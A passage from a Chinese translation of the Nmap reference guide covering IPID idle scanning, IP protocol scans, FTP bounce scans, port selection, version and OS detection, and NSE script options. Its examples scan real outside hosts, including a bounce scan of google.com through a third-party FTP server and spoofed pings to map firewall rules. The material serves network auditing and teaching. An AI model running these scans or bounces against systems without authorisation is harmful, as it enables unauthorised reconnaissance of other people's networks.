# hing2 -c 10 -i 1 -p 80 -S beta.search.microsoft.com. HPING beta.search.microsoft.com. (eth0 207.46.197.115): S set, 40 headers + 0 data bytes 46 bytes from 207.46.197.115: flags=SA seq=0 ttl=56 id=57645 win=16616 rtt=21.2 ms 46 bytes from 207.46.197.115: flags=SA seq=1 ttl=56 id=57650 win=16616 rtt=21.4 ms 46 bytes from 207.46.197.115: flags=RA seq=2 ttl=56 id=18574 win=0 rtt=21.3 ms 46 bytes from 207.46.197.115: flags=RA seq=3 ttl=56 id=18587 win=0 rtt=21.1 ms 46 bytes from 207.46.197.115: flags=RA seq=4 ttl=56 id=18588 win=0 rtt=21.2 ms 46 bytes from 207.46.197.115: flags=SA seq=5 ttl=56 id=57741 win=16616 rtt=21.2 ms 46 bytes from 207.46.197.115: flags=RA seq=6 ttl=56 id=18589 win=0 rtt=21.2 ms 46 bytes from 207.46.197.115: flags=SA seq=7 ttl=56 id=57742 win=16616 rtt=21.7 ms 46 bytes from 207.46.197.115: flags=SA seq=8 ttl=56 id=57743 win=16616 rtt=21.6 ms 46 bytes from 207.46.197.115: flags=SA seq=9 ttl=56 id=57744 win=16616 rtt=21.3 ms --- beta.search.microsoft.com. hping statistic --- 10 packets tramitted, 10 packets received, 0% packet loss round-trip min/avg/max = 21.1/21.3/21.7 ms- 操作系统检测——如上所述,操作系统在生成 IPID 编号的方式上大相径庭。Nmap 使用此信息来帮助确定正在使用的操作系统版本。这种技术的更多细节在这里。
- 防火墙规则检测——IPID 值可以帮助映射防火墙规则。这是一个简单的例子:
- 我们查看防火墙后面的目标机器的 IPID。
- 我们“从”防火墙后面的主机向同一目的地发送 ping 数据包。
- 我们再次查看 IPID。如果它增加了 2(一个用于 ping 响应,一个用于第二次 IPID 查看),我们的欺骗性 ping 就通过了。一些无关的流量可能会干扰,但重新测试可以确保准确性。这种技术可以以各种方式扩展。我可以(也许会)写一篇完整的论文来描述它们。请注意,上述所有步骤都可以使用Hping完成。
相关链接
- Nmap 现在包括 Idlescan,可在http://nmap.org/获得
- 基本的 IPID 扫描技术是由 Antirez (Salvatore Sanfilippo) 发明的。他的主页位于http://www.kyuzz.org/antirez/。
- Antirez 还开发了出色的Hping工具,这对于底层 IPID 测试非常有用。
- LiquidK在 1999 年发布了一个 IPID 扫描器作为概念验证,并将其命名为“idlescan”。这些 URL 不再起作用,但也许可以通过 Google 或 Packetstorm 找到它们的实现。
- Thomas Olofsson 在“2001 Black Hat Briefings”会议上编写并演示了一个 IPID 扫描工具。他的演示文稿(Powerpoint)可在此处获得,并很好地了解了基本技术。正如本文前面所指出的,在 "闲置的僵尸主机 "实际上并不闲置的情况下,他的工具比Nmap更合适。不幸的是,我没有这个工具的有效 URL。
-sO (IP协议扫描)
IP协议扫描使您可以确定目标计算机支持哪些IP协议(TCP,ICMP,IGMP等)。 这在技术上不是一个端口扫描,因为它是通过IP协议号而不是TCP或UDP端口号进行循环。 但是,它仍然使用-p选项来选择扫描的协议号,以常规端口表格式报告其结果,甚至使用与真正的端口扫描方法相同的基础扫描引擎。 因此,它十分接近它所属的端口扫描。
除了本身很有用,协议扫描还展示了开源软件的力量。 虽然基本思想很简单,但我没有想到要添加它,也没有收到任何关于这种功能的要求。 然后在2000年夏天,erhard Rieger构思了这个想法,编写了一个实现该想法的出色补丁,并将其发送到了公告邮件列表(然后被称为nmap-hacker)。 我将该补丁合并到Nmap树中,第二天发布了新版本。 很少有商业软件能使用户有足够的热情去设计和贡献自己的改进!
协议扫描的工作方式与UDP扫描类似。它没有遍历UDP数据包的端口号字段,而是发送IP数据包标头并遍历八位IP协议字段。标头通常为空,不包含任何数据,甚至不包含所要求协议的正确标头。例外是TCP,UDP,ICMP,SCTP和IGMP。包括了适用于这些协议的协议头,因为某些系统不会以其他方式发送它们,并且因为Nmap已经具有创建它们的功能。无需监视ICMP端口不可达消息,而是在查找ICMP协议不可达消息的协议扫描。如果Nmap从目标主机以任何协议接收到任何响应,则Nmap将该协议标记为打开。 ICMP协议不可达错误(类型3,代码2)导致该协议被标记为已关闭,而端口不可达(类型3,代码3)将该协议标记为打开。其他ICMP无法访问的错误(类型3,代码0、1、9、10或13)导致协议标记为已过滤(尽管它们证明ICMP同时处于打开状态)。如果重传后没有收到响应,协议被标记为开放|过滤的。 表5.8显示了对IP探针的响应是如何映射到端口状态的。
表 5.8。Nmap 如何解释对 IP 协议探测的响应
探测响应 指定状态 来自目标主机的任何协议中的任何响应 open
(对于响应使用的协议,不一定是探测协议)ICMP 协议不可达错误(类型 3,代码 2) closed
其他 ICMP 不可达错误(类型 3,代码 1、3、9、10 或 13) filtered
(尽管他们证明ICMP是开放的,如果从目标机器发送的话)未收到响应(即使在重传之后) open|filtered
与 TCP 或 UDP 协议中的开放端口一样,每个开放协议都是潜在的利用向量。此外,协议扫描结果有助于确定机器的用途以及采用哪种数据包过滤。终端主机通常只开放 TCP、UDP、ICMP 和(有时)IGMP,而路由器通常提供更多,包括与路由相关的协议,如 GRE 和 EGP。防火墙和 VPN 网关可能会显示与加密相关的协议,例如 IPsec 和 SWIPE。
与在 UDP 扫描期间收到的 ICMP 端口不可达消息一样,ICMP 协议不可达消息通常受到速率限制。 例如,从默认 Linux 2.4.20 机器每秒发送的 ICMP 目标不可达响应不超过一个。由于只有 256 个可能的协议号,因此与 65,536 端口 UDP 扫描相比,这不是问题。“加速UDP 扫描”一节中的建议也适用于加速 IP 协议扫描。
协议扫描的使用方式与命令行上的大多数其他扫描技术相同。简单指定-sO附加到你满意的通用Nmap选项即可。普通端口(-p)选项用来选择协议号。或者您可以用-F来扫描nmap-protocols数据库中列出的所有协议。默认情况下,Nmap扫描所有256个可能的值。 示例 5.20显示 Ereet 扫描波兰的路由器,然后扫描我本地网络上的典型 Linux 机器。
例 5.20。路由器和典型 Linux 2.4 机器的 IP 协议扫描#nmap -sO 62.233.173.90 para
Starting Nmap ( http://nmap.org ) Nmap scan report for ntwklan-62-233-173-90.devs.futuro.pl (62.233.173.90) Not shown: 240 closed ports PROTOCOL STATE SERVICE 1 open icmp 4 open|filtered ip 6 open tcp 8 open|filtered egp 9 open|filtered igp 17 filtered udp 47 open|filtered gre 53 filtered swipe 54 open|filtered narp 55 filtered mobile 77 filtered sun-nd 80 open|filtered iso-ip 88 open|filtered eigrp 89 open|filtered ospfigp 94 open|filtered ipip 103 filtered pim Nmap scan report for para (192.168.10.191) Not shown: 252 closed ports PROTOCOL STATE SERVICE 1 open icmp 2 open|filtered igmp 6 open tcp 17 filtered udp MAC Address: 00:60:1D:38:32:90 (Lucent Technologies) Nmap done: 2 IP addresses (2 hosts up) scanned in 458.04 seconds
-b FTP中继主机IP FTP反弹扫描、FTP中继扫描
FTP协议(RFC 959 [8])的一个有趣功能是支持所谓的代理FTP连接。这样,用户可以连接到一个FTP服务器,然后要求将文件发送到第三方服务器。在许多级别上,这种功能已经很容易被滥用,因此大多数服务器都不再支持该功能。此功能允许的滥用之一是导致FTP服务器对其他主机进行端口扫描。只需让FTP服务器依次将文件发送到目标主机的每个感兴趣的端口即可。错误消息将描述端口是否打开。 这是一个绕过防火墙的好方法,因为组织的FTP服务器往往被放置在比任何老的互联网主机更容易接触到其他内部主机的地方。 Nmap支持使用-b选项进行FTP跳转扫描。它采用格式为username:password @ server:port的参数。服务器是易受攻击的FTP服务器的名称或IP地址。与普通URL一样,您可以省略username:password,在这种情况下,将使用匿名登录凭据(用户:anonymous 密码:-wwwuser @)。端口号(以及前面的冒号)也可以省略,在这种情况下,将使用服务器上的默认FTP端口(21)。
例5.21显示了一个通过反弹微软主FTP服务器来扫描google的尝试。
例5.21. 试图通过FTP反弹扫描
#nmap -Pn -b ftp.microsoft.com google.com
Starting Nmap ( http://nmap.org ) Your FTP bounce server doesn't allow privileged ports, skipping them. Your FTP bounce server sucks, it won't let us feed bogus ports!经常使用FTP反弹扫描的用户最好习惯于这个错误信息。 这个漏洞在1997年Nmap发布时很普遍,但基本上已经被修复。 漏洞服务器仍然存在,所以当所有其他方法都失败时,值得一试。 如果绕过防火墙是你的目标,扫描目标网络的21号端口(甚至扫描任何FTP服务,如果你用版本检测扫描所有端口),并使用ftp-bounce NSE脚本。 Nmap会告诉您主机是否易受攻击。如果你只是想掩盖你的踪迹,你不需要(事实上也不应该)把自己限制在目标网络的主机上。在你去扫描随机的互联网地址寻找易受攻击的FTP服务器之前,请考虑系统管理员可能不喜欢你以这种方式滥用他们的服务器。
例5.22显示了对Scanme上几个有趣的端口的成功反弹扫描。给出verbose选项(-v)是为了提供额外的细节。给出的服务器类型是 "JD FTP 服务器",意味着这是一台 HP JetDirect 打印服务器。
例5.22. 成功的FTP反弹扫描
krad~>nmap -p 22,25,135 -Pn -v -b XXX.YY.111.2 scanme.nmap.org
Starting Nmap ( http://nmap.org ) Attempting connection to ftp://anonymous:-wwwuser@@XXX.YY.111.2:21 Connected:220 JD FTP Server Ready Login credentials accepted by ftp server! Initiating TCP ftp bounce scan against scanme.nmap.org (64.13.134.52) Adding open port 22/tcp Adding open port 25/tcp Scanned 3 ports in 12 seconds via the Bounce scan. Nmap scan report for scanme.nmap.org (64.13.134.52) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 135/tcp filtered msrpc Nmap done: 1 IP address (1 host up) scanned in 21.79 seconds这种被废弃的扫描类型欺骗FTP服务器通过代理进行端口扫描。大多数FTP服务器现在都打了补丁来防止这种情况,但当它发挥作用时,它是一种潜入限制性防火墙的好方法。
端口规范和扫描顺序:
除了前面讨论的所有扫描方法外,Nmap还提供用于指定要扫描哪些端口以及扫描顺序是随机的还是顺序的选项。 默认情况下,Nmap为每个协议扫描最常见的1,000个端口。
Nmap的端口注册文件(
nmap-services
) 包含有关每个 TCP 或 UDP 端口被打开的频率的经验数据。这些数据是通过扫描数以千万计的互联网地址收集的,然后将这些结果与大型企业提供的内部扫描数据相结合。默认情况下,Nmap 会扫描它被要求扫描的每个协议的 1,000 个最受欢迎的端口。或者,您可以指定-F
(快速)选项仅扫描每个协议中最常用的 100 个端口或--top-ports
指定要扫描的任意数量的端口。有许多选项可用于指定另一组端口(按频率或明确列出它们) 。
-p port ranges(仅扫描特定端口)
当这些预制的端口集都不适合你的需要时,可以用-p选项在命令行中指定一个任意的端口号列表。-p选项的语法可能很复杂,最好用例子来描述。
用-p选项选择端口的例子
-p 22
-p 通过仅指定该数字作为参数来扫描单个端口(在本例中为端口 22) 。-p ssh
可以指定端口名称而不是数字。请注意,一个名称可能匹配多个端口。-p 22,25,80
多个端口可以用逗号分隔。请注意,没有指定协议,因此这些相同的端口号将用于命令行上指定的任何扫描方法。如果指定了 SYN 扫描 ( -sS) 等 TCP 扫描,则会扫描 TCP 端口 22、25 和 80。它们分别对应于服务 SSH、SMTP 和 HTTP。如果选择了 UDP 扫描 ( -sU),则会扫描这三个 UDP 端口。如果两者都指定,则为每个协议扫描这三个端口,总共扫描六个端口。使用 IP 协议扫描 ( -sO),将扫描这三个 IP 协议(对应于 XNS IDP、Leaf-1 和 ISO-IP)。-p80-85,443,8000-8005,8080-8085
可以通过用连字符分隔开始和结束端口来指定端口范围。可以用逗号指定多个范围或单个端口。此选项扫描端口 80、81、82、83、84、85、443、8000 等。根据端口号,该用户可能正在扫描 TCP寻找 Web 服务器。-p-100,60000-
您可以省略范围的开头以暗示端口1,或结尾以暗示可能的最后一个端口(TCP 和 UDP 为 65535,协议扫描为 255)。此示例扫描端口 1 到 100,以及所有大于或等于 60,000 的端口。-p-
省略开始和结束数字以扫描整个范围(不包括零)。-pT:21,23,110,U:53,111,137,161
TCP和UDP端口的单独列表可以通过在列表前加上T:(用于TCP)或U:来给出。这个例子扫描了三个TCP端口(FTP, Telnet, 和POP3),和四个UDP服务(DNS, rpcbind, NetBIOS, 和SNMP)。指定TCP和UDP端口只有在您S诉Nmap进行UDP扫描(-sU)和一种TCP扫描方法,例如-sS, -sA, 或-sF时才有意义。如果不指定扫描类型默认是-sS-p http*
通配符 可用于匹配具有相似名称的端口。该表达式匹配 8 个端口号,包括 http (80)、http-mgmt (280)、https (443) 和 http-proxy (8080)。根据您的命令SHELL,您可能需要转义星号,使其不被视为文件名通配符。-p 1-1023,[1024-]
将范围括在括号中会导致仅当这些端口号在nmap-services中注册时才会被扫描。在此示例中,所有保留的端口(1-1,023),加上所有在nmap-services中注册的更高端口。这是在Nmap -services使用开放端口频率数据进行扩展以获得更精确的选择之前,Nmap的默认行为。此选项指定要扫描的端口并覆盖默认端口。 单独的端口号是可以的,用连字符分隔的范围也是可以的(如1-1023)。 范围的开始和/或结束值可被忽略,从而导致Nmap分别使用1和65535。 因此,您可以指定-p-来扫描从1到65535的端口。如果明确指定端口0,则允许扫描端口0。 对于IP协议扫描(-sO),此选项指定要扫描的协议号(0–255)。
扫描协议的组合(例如TCP和UDP)时,可以在端口号之前加上T :(对于TCP),U :(对于UDP),S :(对于SCTP)或P :(对于IP协议)来指定特定协议。 限定词将持续到您指定另一个限定词为止。 例如,参数-p U:53,111,137,T:21-25,80,139,8080将扫描UDP端口53、111和137,以及列举的TCP端口。 请注意,要同时扫描UDP和TCP,必须指定-sU和至少一种TCP扫描类型(例如-sS,-sF或-sT)。 如果未提供协议限定符,则将端口号添加到所有协议列表中。 (译者注:比如nmap -p80 -sU -sT 192.168.0.1,因为没有指定协议是tcp还是其他,因此会将80端口应用到所有协议,但是要同时启用还要指定扫描类型比如-sT -sU)也可以根据nmap-services中所指端口的名称来指定端口。 您甚至可以使用通配符*和? 与名称。 例如,要扫描FTP和所有名称以“ http”开头的端口,请使用-p ftp,http *。 注意shell扩展,如果不确定,请在-p处用引号引起来参数。
端口的范围可以用方括号来表示该范围内出现在nmap-services中的端口。例如,下面将扫描nmap-services中小于等于1024的所有端口:-p [-1024]。
--exclude-ports port ranges(从扫描中排除指定的端口)
此选项指定您希望Nmap从扫描中排除的端口。 指定的端口范围类似于-p。 对于IP协议扫描(-sO),此选项指定您要排除的协议号(0–255)。
当要求排除端口时,会将它们从所有类型的扫描中排除(即在任何情况下都不会进行扫描)。 这也包括发现阶段。
-F(快速扫描有限端口)
指定您希望扫描的端口数少于默认端口数。 通常,Nmap为每个扫描的协议扫描最常见的1,000个端口。 使用-F时,该值减少为100。
Nmap需要具有频率信息的nmap-services文件,以便了解最常见的端口。 如果端口频率信息不可用,可能是由于使用了自定义的nmap-services文件,Nmap会扫描所有已命名的端口以及端口1-1024。 在这种情况下,-F表示仅扫描服务文件中命名的端口。
-r
使用有序端口号
默认情况下,Nmap 会随机化端口扫描顺序,以使检测稍微困难一些。(出于效率原因,某些通用端口会移到开头附近)。 通常需要这种随机化,但是您可以指定-r进行顺序(从最低到最高排序)端口扫描。
--port-ratio ratio< 0到1之间的小数>
以大于给定比率扫描nmap-services文件中的所有端口。 比率必须在0.0到1.0之间。(译者注:所谓比率应该是要扫描端口占比)
--top-ports n
排除--exclude-ports指定的所有端口后,扫描nmap-services文件中找到的n个最高比率端口。 n必须为1或更大。
服务和版本检测:
虽然Nmap做很多事情,但它最基本的功能是端口扫描。把Nmap指向一台远端机器,它可能会告诉您端口25/tcp、80/tcp和53/udp是开放的。 Nmap使用其约2200种知名服务的nmap-services数据库,会报告这些端口可能分别对应于邮件服务器(SMTP),Web服务器(HTTP)和名称服务器(DNS)。 这种查找通常是准确的-实际上,侦听TCP端口25的绝大多数守护程序都是邮件服务器。 但是,你不应该把你的安全赌在这上面! 人们可以而且确实在陌生的端口上运行服务。也许他们的主web服务器已占用80端口,所以他们选择了一个不同的端口作为暂存或测试服务器。也许他们认为在某个不明显的端口上隐藏一个有漏洞的服务可以防止 "邪恶的黑客 "发现它。最近更常见的情况是,人们选择端口不是基于他们想要运行的服务,而是基于什么可以通过防火墙。当微软IIS的主要蠕虫CodeRed和Nimda发生后,ISP封锁了80端口,成群结队的用户通过将他们的个人web服务器转移到另一个端口来维持响应。当公司因其可怕的安全风险而阻止Telnet访问时,我看到用户只是简单地在安全shell(SSH)端口上运行telnetd。
即使Nmap是正确的,并且上面的假设服务器正在运行SMTP,HTTP和DNS服务器,也没有多少信息。 在对公司或客户进行漏洞评估(甚至是简单的网络资产清单)时,您确实想知道正在运行的邮件和DNS服务器及版本。 拥有正确的版本号有助于显着确定服务器容易受到哪些攻击。 版本检测可帮助您获取此信息。
请记住,安全补丁通常会移植回早期版本的软件,所以你不能仅仅依靠版本号来证明一个服务有漏洞。虽然假阴性的情况比较少见,但是当愚蠢的管理员通过欺骗一个易受攻击服务的版本号使其看起来像是修补过的时候,就会发生假阴性。
译者注:上文说的比较晦涩我用白话文解释,比如一个软件的版本号是1.0有漏洞但2.0没有漏洞,我通过信息收集发现版本号是1.0,我就说它是有漏洞的,这是不负责的。因为1.0可能也打了补丁。我又一次通过信息收集发现版本号是2.0,我就说它是没有漏洞的,这也是不负责的。因为2.0可能被SB管理员修改过版本号,真实的是1.0版本,但这种情况很少见。
使用其他扫描方法之一发现TCP和/或UDP端口后,版本检测会询问这些端口以确定有关实际运行内容的更多信息。 nmap-service-probes数据库包含用于查询各种服务并匹配表达式以识别和解析响应的探针。 Nmap尝试确定服务协议(例如FTP,SSH,Telnet,HTTP),应用程序名称(例如ISC BIND,Apache httpd,Solaris telnetd),版本号,主机名,设备类型(例如打印机,路由器),操作系统家庭(例如Windows,Linux)。如果可能,Nmap还将获取此信息的通用平台列举(CPE)表示形式。有时,可以获得其他详细信息,例如X服务器是否已打开连接,SSH协议版本或KaZaA用户名。当然,大多数服务并不提供所有这些信息。如果Nmap是在OpenSSL支持下编译的,它将连接到SSL服务器以推断出该加密层后面侦听的服务。有些UDP端口在UDP端口扫描后,无法确定该端口是开放的还是过滤的,就留在开放|过滤状态。版本检测将尝试从这些端口引起响应(就像打开端口一样),如果成功,则将状态更改为打开。过滤后的TCP端口的处理方式相同。请注意,Nmap -A选项可启用版本检测等功能。 https://nmap.org/book/vscan.html上提供了有关版本检测的工作原理,用法和自定义的文档。
发现RPC服务后,将自动使用Nmap RPC grinder来确定RPC程序和版本号。 它使用所有检测为RPC的TCP / UDP端口,并使用SunRPC程序NULL命令填充它们,以尝试确定它们是否为RPC端口,如果是,则确定它们提供的程序和版本号。 因此,即使目标的端口映射程序位于防火墙后面(或受TCP wrappers程序保护),也可以有效地获取与rpcinfo -p相同的信息。 诱饵目前不能与RPC扫描一起工作。
当Nmap接收到来自服务的响应但无法将其与数据库匹配时,如果您确定端口上正在运行什么,它将打印出特殊的指纹和URL,供您提交。 请花几分钟进行提交,以便您的发现可以使所有人受益。 由于这些提交,Nmap具有约650个协议(例如SMTP,FTP,HTTP等)的6,500个模式匹配。
确定服务类型和版本号的另一个好理由是,许多服务共享相同的端口号。例如,端口258/tcp同时被 Checkpoint Firewall-1管理界面和yak Windows聊天客户端使用。这使得基于nmap-services表的猜测更加不准确。做过很多扫描的人都知道,你还经常发现服务在未注册的端口上监听--如果没有版本检测,这些完全是个谜。最后一个问题是,被过滤的UDP端口在简单的端口扫描器看来往往和开放端口一样(见 "UDP扫描(-sU)"一节)。但是如果它们响应 Nmap 版本检测发送的特定于服务的探测,您就可以确定它们是打开的(并且通常确切地知道正在运行什么)。
服务扫描有时会显示除服务类型和版本号之外的有关目标的信息。发现的有关服务的杂项信息收集在 “信息”字段中。这显示在产品名称和版本号后面的括号内的VERSION栏。该字段可以包括 SSH 协议号、Apache 模块等等。
一些服务也报告它们配置的主机名,这些主机名与机器的反向DNS主机名经常有惊人的不同。主机名字段被报告在端口表之后的服务信息行中。这听起来像是轻微的信息泄露,但可能会产生后果。有一年在CanSecWest安全会议上,我带着我的笔记本电脑蜷缩在房间里。突然间,我屏幕角落里的tcpdump窗口变得疯狂,我意识到我的机器受到了攻击。我回过头来扫描,发现一个不寻常的高位端口打开着。连接后,该端口喷出了一堆二进制字符,但输出中的一个ASCII字段给出了一个配置的域名。这个域名是一个小的安全公司的,我知道谁是负责人。我让前台给他的酒店房间打电话,当我要求他停止探测我的机器时,他很惊讶。
版本检测可以发现的另外两个字段是操作系统和设备类型。这些也被报告在服务信息行上。我们在这里使用两种技术。一个是应用程序的独占性。如果我们把一个服务识别为微软的Exchange,我们就知道操作系统是Windows,因为Exchange不在其他东西上运行。另一种技术是说服更多的可移植的应用程序泄露出平台信息。许多服务器(尤其是web服务器)只需要很少的哄骗。这种类型的操作系统检测是为了补充Nmap的操作系统检测(-O),有时会报告不同的结果。例如,考虑一个隐藏在端口转发的Unix防火墙后面的Microsoft Exchange服务器。
Nmap 版本扫描子系统通过连接到开放端口并使用特定服务理解的探测器询问它们以获取更多信息来获取所有这些数据。这允许 Nmap 对真正运行的内容进行详细评估,而不仅仅是打开了哪些端口号。 示例 7.1显示了实际输出。
例 7.1。版本检测的简单使用#nmap -sV -T4 -F insecure.org
Starting Nmap ( http://nmap.org ) Nmap scan report for insecure.org (74.207.254.18) Host is up (0.016s latency). rDNS record for 74.207.254.18: web.insecure.org Not shown: 95 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.3 ((CentOS)) 113/tcp closed auth 443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS)) Service Info: Host: web.insecure.org Nmap done: 1 IP address (1 host up) scanned in 14.82 seconds
Nmap 版本检测提供以下高级功能(稍后将详细介绍):
通过非阻塞套接字和 探针/匹配定义的语法 ,高速、并发操作旨在高效而强大的实现。
确定可用的应用程序名称和版本号,而不仅仅是服务协议。
支持 TCP 和 UDP 协议,以及文本 ASCII 和打包二进制服务。
多平台支持,包括 Linux、Windows、Mac OS X、FreeBSD/NetBSD/OpenBSD、Solaris 以及 Nmap 已知可在其上工作的所有其他平台。
如果检测到 SSL,Nmap 使用 OpenSSL(如果可用)连接并尝试确定在该加密层后面监听的服务。这使其能够发现 HTTPS、POP3S、IMAPS 等服务,并提供版本详细信息。
如果发现一个SunRPC服务,Nmap启动它的暴LI破姐RPC grinder来找到程序号、名称和版本号。
支持 IPv6,包括 TCP、UDP 和 SSL over TCP。
通用平台枚举 (CPE) 用于与其他软件互操作的输出(某些信息仅包含在 XML 输出中)。有关 CPE 的更多信息,请参阅 名为“通用平台枚举 (CPE)”的部分。
社区贡献:如果Nmap从一个它不认识的服务得到数据,就会打印一个服务指纹和一个提交URL。这个系统是在非常成功的Nmap OS检测指纹提交过程之后形成的。也可以提交新的探针和更正。
全面的数据库:Nmap 可识别一千多个服务签名,涵盖从 ACAP、AFP 和 AIM 到 XML-RPC、Zebedee 和 Zebra 的 180 多个独特的服务协议。
通过以下选项启用和控制版本检测:
-sV(版本检测)
如上所述,启用版本检测。 另外,您可以使用-A,它可以进行版本检测。
-sR是-sV的一个别名。在2011年3月之前,它被用来从版本检测单独激活RPC grinder,但现在这些选项总是被合并在一起。
--allports(不要从版本检测中排除任何端口)
默认情况下,Nmap版本检测跳过TCP 9100端口,因为一些打印机简单地打印发送到该端口的任何东西,导致几十页的HTTP GET请求、二进制SSL会话请求等等。这种行为可以通过修改或删除nmap-service-probes中的Exclude指令来改变,或者您可以指定--allports来扫描所有端口而不管任何包含的Exclude指令。
--version-intensity intensity(设置版本扫描强度)
在执行版本扫描(-sV)时,Nmap发送一系列探测,每个探测都被分配一个介于1到9之间的稀有值。数字较低的探针对各种常见服务有效,而数字较高的探针则很少有用。 强度级别指定应使用的探针。 数字越高,就越有可能正确识别服务。 但是,高强度扫描需要更长的时间。 强度必须在0到9之间。默认值为7。当通过nmap-service-probes ports指令将探针注册到目标端口时,无论强度级别如何,都将尝试该探针。 这样可以确保始终对任何打开的端口53尝试进行DNS探测,对443等进行SSL探测。
--version-light(启用轻量模式)
这是--version-intensity 2的方便别名。此轻量模式使版本扫描快得多,但识别服务的可能性却稍小。
--version-all(尝试每一个探针)
--version-intensity 9的别名,确保针对每个端口尝试进行每个探针。
--version-trace(跟踪版本扫描活动)
这将导致Nmap打印出有关正在进行的版本扫描的大量调试信息。 它是--packet-trace的一部分。
os检测
Nmap最著名的功能之一是使用TCP / IP栈指纹的远端OS检测。 Nmap将一系列TCP和UDP数据包发送到远端主机,并实际上检查响应中的每一位。 在执行了数十项测试(例如,TCP ISN采样,TCP选项支持和排序,IP ID采样以及初始窗口大小检查)之后,Nmap将结果与其包含2,600多个已知OS指纹的nmap-os-db数据库进行比较,如果有匹配项打印出操作系统详细信息。 每个指纹都包含操作系统的自由格式文本描述以及提供供应商名称(例如Sun),基础操作系统(例如Solaris),操作系统版本(例如10)和设备类型(通用,路由器,交换机,游戏控制台等)。 大多数指纹还具有通用平台列举(CPE)表示形式,例如cpe:/o:linux:linux_kernel:2.6。
如果Nmap无法猜测机器的操作系统,并且条件允许(例如,找到了至少一个开放端口和一个关闭端口),则Nmap将提供一个URL,如果您知道的话,可以用来提交指纹(确定) 在机器上运行的操作系统。 通过这样做,您可以为Nmap已知的操作系统群做出贡献,因此对每个人来说都将更加准确。
OS检测启用了其他一些测试,这些测试无论如何都利用在此过程中收集的信息。其中之一是TCP序列可预测性级别。这可以衡量与远端主机建立伪造的TCP连接的难度。对于利用基于源IP的信任关系(登录,防火墙过滤器等)或隐藏攻击源很有用。这种欺骗很少被执行,但是许多机器仍然容易受到这种欺骗。实际难度数字基于统计抽样,可能会有所波动。通常最好使用英语分类,例如“值得挑战”或“小意思”。仅在详细(-v)模式下的正常输出中报告此消息。当详细模式与-O一起启用时,也会报告IP ID序列生成。大多数机器属于“增量”类,这意味着它们为发送的每个数据包增加IP报头中的ID字段。这使他们容易受到一些高级信息收集和欺骗攻击。
操作系统检测所带来的其他额外信息是对目标正常运行时间的猜测。 这使用TCP时间戳选项(RFC 1323 [9])来猜测计算机上次重新启动的时间。 由于时间戳记计数器未初始化为零或计数器溢出并循环,因此猜测可能不准确,因此仅在详细模式打印。
可以在https://nmap.org/book/osdetect.html上找到有关OS检测的工作原理,用法和自定义的论文。
操作系统检测通过以下选项启用和控制:
-O(启用操作系统检测)
如上所述,启用OS检测。 另外,您可以使用-A与其他功能一起启用OS检测。
--osscan-limit(将操作系统检测限制在有希望的目标上)
如果找到至少一个打开的TCP端口和一个关闭的TCP端口,则OS检测将更加有效。 设置此选项,Nmap甚至不会尝试针对不符合此条件的主机进行OS检测。 这样可以节省大量时间,尤其是对许多主机进行-Pn扫描时。 只有在用-O或-A要求进行操作系统检测时,它才有意义。
--osscan-guess;--fuzzy(猜测操作系统检测结果)
当Nmap无法检测到完美的操作系统匹配时,有时会提供接近匹配的可能性。 默认情况下,匹配必须非常接近Nmap才能执行。 这些(等效)选项中的任何一个都使Nmap更加激进地猜测。 当打印出不完全匹配时,Nmap仍会告诉您,并为每个猜测显示其置信度(百分比)。
--max-os-tries(设置针对目标的最大OS检测尝试次数)
当Nmap对目标执行OS检测并且找不到完美匹配时,通常会重复尝试。 默认情况下,如果条件适合于操作系统指纹提交,则Nmap尝试五次,而条件不太好时,Nmap尝试两次。 指定一个较低的--max-os-tries值(例如1)可以加快Nmap的运行速度,尽管您错过了可能会标识操作系统的重试操作。 或者,可以设置较高的值以在条件允许时允许更多重试。 这很少做,除了为提交和整合到Nmap OS数据库而产生更好的指纹。
NMAP脚本引擎(NSE)
Nmap脚本引擎(NSE)是Nmap最强大,最灵活的功能之一。 它允许用户编写(和共享)简单的脚本(使用Lua编程语言[10])以自动执行各种网络任务。 这些脚本与您期望的Nmap的速度和效率并行执行。 用户可以依靠随Nmap分发的不断增长的脚本集合,或者编写自己的脚本来满足自定义需求。
创建系统时,我们想到的任务包括网络发现,更复杂的版本检测,漏洞检测。 NSE甚至可以用于漏洞利用。
为了反映这些不同的用途并简化对要运行的脚本的选择,每个脚本都包含一个将其与一个或多个类别相关联的字段。 当前定义的类别是身份验证,广播,默认, 发现,拒绝服务,利用,外部,模糊测试,侵入式,恶软,安全,版本和漏洞。 这些均在https://nmap.org/book/nse-usage.html#nse-categories中进行了描述。
脚本不在沙盒中运行,因此可能会意外或恶意破坏您的系统或侵犯您的隐私。 除非您信任作者或自己仔细审核过脚本,否则切勿运行第三方脚本。
Nmap脚本引擎在https://nmap.org/book/nse.html上进行了详细描述,并由以下选项控制:
-sC
使用默认脚本集执行脚本扫描。 它等效于--script = default。 此类别中的某些脚本被认为是侵入性的,未经允许不得在目标网络上运行。
--script filename|category|directory/|expression[,...]
使用逗号分隔的文件名、脚本类别和目录的列表来运行脚本扫描。列表中的每个元素也可以是一个布尔表达式,描述一个更复杂的脚本集。每个元素首先被解释为一个表达式,然后是一个类别,最后是一个文件或目录名。
仅高级用户有两个特殊功能。 一种是在脚本名称和表达式之前加上+前缀,以强制它们正常运行,即使它们通常不会运行(例如,在目标端口上未检测到相关服务)。 另一个是参数all可以用来指定Nmap数据库中的每个脚本。 请注意这一点,因为NSE包含危险脚本,例如漏洞利用,暴利破戒和拒绝服务攻击。
文件和目录名称可以是相对或绝对的。 绝对名称直接使用。 在以下每个位置的脚本中寻找相对路径,直到找到:
--datadir
$NMAPDIR
~/.nmap (未在Windows上搜索到)
APPDATA\nmap (仅在Windows上)
包含nmap可执行文件的目录
包含nmap可执行文件的目录,后跟../ share / nmap(未在Windows上搜索到)
NMAPDATADIR (未在Windows上搜索到)
当前目录。
当给出以/结尾的目录名时,Nmap会加载目录中每个以.nse结尾的文件。 所有其他文件都将被忽略,并且不会递归搜索目录。 当给出文件名时,它不必具有.nse扩展名。 如有必要,它将自动添加。 默认情况下,Nmap脚本存储在Nmap数据目录的scripts子目录中(请参阅https://nmap.org/book/data-files.html)。
为了提高效率,脚本在存储在scripts / script.db中的数据库中建立了索引,该数据库列举了每个脚本所属的一个或多个类别。 当按名称引用script.db中的脚本时,可以使用shel样式的“ *”通配符。
Nmap –script “http-*”
